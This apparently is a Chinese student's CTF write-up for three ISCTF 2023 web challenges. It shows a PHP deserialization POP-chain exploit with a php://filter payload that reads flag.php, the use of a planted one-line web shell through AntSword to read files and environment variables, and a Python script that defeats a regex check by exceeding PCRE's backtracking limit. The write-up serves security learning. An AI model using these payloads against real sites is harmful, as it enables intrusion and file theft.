还是tcl并没有写出来几题但是有学到不少。

1.圣杯战争!!
当我看到这道题的时候我马上就发现这个新生赛和我之前做的完全不是一个等级的,刚开始做这题的使用由于本人不会php的序列化和反序列化所以这题是我学习了很久才做出这道题目。学习过程在这里序列化与反序列化的学习

这道题目的提示做的很明显,出题人将构造pop链的顺序都和我们说了。我们要从summon到artifact到preoare到saber,
我们可以先个$Saber赋值为对象artifact那么当输出$Saber时会因为错误的将对artifact当成字符串输出那么就会触发artifact的tostring(),我们再将变量$excalibuer赋值为对象prepare那么就会错误的调用没有的成员属性从而触发get($key)我们再将$release赋值为saber那么就会因为错误的将对象saber当成函数触发从而触发__invoke()那么我们就可以对成功链接到我们的目标函数include()了,接下来我们应该对weapon进行赋值从而得到flag
这道题目除了考察php的序列化和反序列化还考查看了php的反序列化也就是关于最终include()的利用我们可以再include函数里输入一个php伪协议从而得到flag
php伪协议
我们只要将weapon赋值为php://filter/read=convert.base64-encode/resource=flag.php
我们将上面的所以整合在一起构造pop链代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

<?php
class artifact{
public $excalibuer;
public $arrow;
}

class prepare{
public $release;
}
class saber{
public $weapon="php://filter/read=convert.base64-encode/resource=flag.php";
}
class summon{
public $Saber;
public $Rider;
}
$a=new summon();
$b=new artifact();
$c=new prepare();
$d=new saber();
$a->Saber=$b;
$b->excalibuer=$c;
$c->release=$d;
echo serialize($a);
?>

输出
1
O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

将输出的结果用GET传值到payload里我们就可以得到base64编码后的flag将其解码后即可
2.where_is_the_flag
打开题目我们可以发现显示了一句话木马

我们直接使用蚁剑进行连接
我们可以发现两个文件一个是flag2另一个为start.sh的文件打开start.sh文件发现里面写上了php代码
我们可以看到第二行的代码sed -i是linux对文件修改的指令,s是对文件内容替换,为要替换的字符串,${FLAG:0:10}为替换的内容为FLAG从第1个开始的10个字符,而后面的路径为要修改的文件位置,结合起来就是将FLAG的前10位写入flag.php中我们可以直接用蚁剑查看flag.php,
第3行的代码是将FLAG的10到20个字符传到flag2里
export函数是将变量输出为环境变量,也就是将FLAG 20为以后的数替换到FLAG3里后导入到环境变量中,我们可以直接在蚁剑的虚拟终端里echo FLAG3对flag3进行输出最后组合在一起就是flag了啦
3.绕进你心里
这道题前面是几个简单的绕过

第一个md5绕过由于是强比较所有我们只能使用数组绕过,由于当我们传入数组道md5函数里md5函数就会返回null这样就可以绕过
第二个只要num传入非数字就可以了
而最后一个绕过中+?的意思是匹配任意除回车以外的字符,i表示这是一个对大小写不敏感的匹配,s可以匹配任意字符包括回车。
而下语句中stripos是一个大小写不敏感的匹配,观察代码我们发现我们需要输入2023ISCTF有不能再ISCTF前添加字符,发现我们无法以常规方法绕过,所有我们这个绕过要用到正则回溯
正则表达式在进行匹配时会发生正则回溯,而正则匹配有个上限,上线为一百万那么我们只需要在2023ISCTF前输入100万个字符那么就会超过回溯上限,这时候我们可以利用以下python代码
1
2
3
import requests
res = requests.post("网站url",data = {"str":"a"*1000000+"2023ISCTF"})
print(res.text)

运行后就会输出flag